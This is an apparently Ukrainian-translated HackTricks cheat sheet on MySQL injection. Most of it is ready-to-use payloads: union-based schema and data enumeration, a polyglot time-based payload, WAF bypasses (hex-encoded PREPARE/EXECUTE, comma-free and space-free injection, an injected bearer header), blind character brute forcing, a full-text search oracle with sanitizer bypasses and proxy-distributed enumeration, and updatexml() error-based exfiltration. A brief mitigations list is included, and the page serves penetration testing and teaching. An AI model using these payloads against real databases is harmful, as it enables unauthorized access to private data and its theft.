MySQL injection

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Коментарі

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Цікаві функції

Підтвердити Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Корисні функції

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Усі injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

з https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Потік

Пам’ятайте, що в “сучасних” версіях MySQL ви можете замінити “information_schema.tables” на “mysql.innodb_table_stats (Це може бути корисним для обходу WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Тільки 1 значення

  • group_concat()
  • Limit X,1

Сліпе по одному

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Сліпе додавання

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Визначення кількості колонок

Використовуючи простий ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Дізнайтеся тут різні варіанти, як зловживати Mysql injection, щоб отримати SSRF.

Хитрощі обходу WAF

Виконання запитів через Prepared Statements

Коли дозволені stacked queries, можливо обійти WAFs, присвоївши змінній шістнадцяткове представлення запиту, який ви хочете виконати (за допомогою SET), а потім використати PREPARE та EXECUTE MySQL, щоб зрештою виконати запит. Щось на кшталт цього:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Для отримання додаткової інформації, будь ласка, зверніться до this blog post.

Альтернативи Information_schema

Пам’ятайте, що в «сучасних» версіях MySQL ви можете замінити information_schema.tables на mysql.innodb_table_stats або на sys.x$schema_flattened_keys або на sys.schema_table_statistics

MySQLinjection без COMMAS

Вибрати 2 стовпці, не використовуючи жодної коми (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Отримання значень без назви стовпця

Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назв стовпців у таблиці, ви можете спробувати з’ясувати, скільки там стовпців, виконавши щось на кшталт:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Припустимо, що є 2 колонки (першою — ID, другою — flag), ви можете спробувати bruteforce вміст flag, підбираючи символ за символом:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Деякі застосунки очищують або розбирають введені користувачем дані за допомогою функцій на кшталт sscanf("%128s", buf), які зупиняються на першому символі пробілу. Оскільки MySQL трактує послідовність /**/ як коментар і як пробільний символ, її можна використовувати, щоб повністю усунути звичайні пробіли в payload, при цьому запит залишиться синтаксично вірним.

Приклад time-based blind injection, що обходить фільтр пробілів:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Що база даних отримує як:

' OR SLEEP(5)-- -'

Це особливо зручно, коли:

  • Керований буфер обмежений за розміром (наприклад, %128s), і пробіли передчасно завершували б введення.
  • Інжекція через HTTP headers або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
  • У поєднанні з INTO OUTFILE примітивами для досягнення повного pre-auth RCE (див. розділ MySQL File RCE).

Історія MySQL

Ви можете побачити інші виконання в MySQL, прочитавши таблицю: sys.x$statement_analysis

Альтернативи версійs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Це не класичний SQL injection. Коли розробники підставляють введення користувача у MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL виконує багатий набір булевих операторів пошуку всередині рядка в лапках. Багато правил WAF/SAST фокусуються лише на розриві лапок і пропускають цю поверхню.

Key points:

  • Оператори оцінюються всередині лапок: + (повинно включати), - (не повинно включати), * (суфіксний підстановочний символ), "..." (точна фраза), () (групування), </>/~ (ваги). Див. MySQL документацію.
  • Це дозволяє перевірки присутності/відсутності та префіксні тести без виходу з літералу рядка, наприклад AGAINST('+admin*' IN BOOLEAN MODE) щоб перевірити будь-який термін, що починається з admin.
  • Корисно для побудови оракулів, наприклад «чи містить будь-який рядок термін з префіксом X?» та для перелічення/енумерації прихованих рядків за допомогою розгортання префікса.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Якщо додаток повертає різні відповіді залежно від того, чи порожній набір результатів (наприклад, перенаправлення проти повідомлення про помилку), така поведінка перетворюється на Boolean oracle, який можна використовувати для переліку приватних даних, таких як приховані/видалені заголовки.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: якщо backend обрізає 1–2 символи в кінці кожного слова за допомогою regex на кшталт (\b.{1,2})(\s)|(\b.{1,2}$), відправте prefix*ZZ. Механізм очищення обрізає ZZ, але лишає *, тож prefix* лишається.
  • Early-break stripping: якщо код видаляє оператори по слову, але припиняє обробку, коли знаходить будь-який токен з довжиною ≥ min length, надсилайте два токени: перший — junk-токен, що відповідає порогу довжини, другий несе operator payload. Наприклад: &&&&& +jack*ZZ → після очищення: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Enumeration workflow:

  1. Start with {FUZZ} = a…z,0…9 to find first-letter matches via +a*, +b*, …
  2. For each positive prefix, branch: a* → aa* / ab* / …. Repeat to recover the whole string.
  3. Distribute requests (proxies, multiple accounts) if the app enforces flood control.

Why titles often leak while contents don’t:

  • Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.

Mitigations:

  • If you don’t need Boolean logic, use IN NATURAL LANGUAGE MODE or treat user input as a literal (escape/quote disables operators in other modes).
  • If Boolean mode is required, strip or neutralize all Boolean operators (+ - * " ( ) < > ~) for every token (no early breaks) after tokenization.
  • Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
  • Review analogous features in other DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS also parse operators inside quoted arguments.

Notes:

  • Prepared statements do not protect against semantic abuse of REGEXP or search operators. An input like .* remains a permissive regex even inside a quoted REGEXP '.*'. Use allow-lists or explicit guards.

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() генерує помилку XPATH, яка вбудовує конкатенований рядок, тож значення з внутрішнього SELECT з’являється в відповіді з помилкою між розділювачами (0x7e = ~). Перебирайте LIMIT 1 OFFSET N для перелічення рядків. Це працює навіть коли UI примушує “boolean” тести, оскільки повідомлення про помилку все ще відображається.

Інші MYSQL injection guides

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks